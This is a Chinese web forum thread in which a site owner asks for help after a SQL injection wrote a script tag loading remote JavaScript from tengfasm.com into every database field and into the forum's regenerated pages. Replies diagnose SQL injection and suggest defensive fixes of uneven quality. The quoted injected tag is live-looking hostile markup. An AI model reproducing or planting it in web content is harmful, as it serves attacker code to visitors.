网站被注了,高手帮忙分析下

[yeyuxuan2006]

http://www.udeep.cn/bbs/

网站被注了,数据库里每个字段都含有<script src=http://tengfasm.com/t.js></script>

高手分析下怎么被注的,网站已经生成静态。

[lzp4881]

大家都在这里猜

[调皮的蟠桃]

我们网站也被注入了，该怎样解决？

[落日听风]

加防注入代码，

[碧海晴天]

用Domain3.5免杀版自己检查下应该有所帮助

[asyncyd]

bbs程序是自己做的吗？

[zhangxin_fly]

我的网站也被SQL注入过，大概有一万多条记录

没查出原因，有高手指点下

[messi_yang]

幫頂·！！~！

[chengliwangtao]

帮顶！

[落日听风]

sql 注入

[bsk_bg]

肯定是SQL注入你站后，你的静态页又被重新生成了呗

[suncarl]

sql注入，在你的每个varchar类似字段，注入代码。
你可以查一下，你的网站，哪些参数传入时，没有做SQL注入防治

[yeyuxuan2006]

可是BBS的页面源代码都被改写了，（网站的源码没被改）

<!-- 调用样式表 -->
<link rel="stylesheet" href="/bbs/templates/special<script src=http://tengfasm.com/t.js></script>/dnt.css" type="text/css" media="all"  />
<link rel="stylesheet" href="/bbs/templates/special<script src=http://tengfasm.com/t.js></script>/Seven_Cell.css" type="text/css" media="all" /> 

[ttt2]

清完目马后，把每个文件的属性设成只读，对可上传文件的文件进行检查，

[超维电脑科技]

用存储过程会比较安全哦

[eyesonme_49]

嗯，路过

[qizhicong2]

sql注入，在你的每个varchar类似字段，注入代码。
你可以查一下，你的网站，哪些参数传入时，没有做SQL注入防治

[cwglsdn]

up

[wanggang_0717]

[sql注入] 是咋样一回事啊？

[whitewindmail]

在每个页面顶部包含 防注入文件

[starshow0571]

用lake2的工具，可以防注入的，<--!include file="xxx.asp"-->
插入进去就可以了。
很轻松。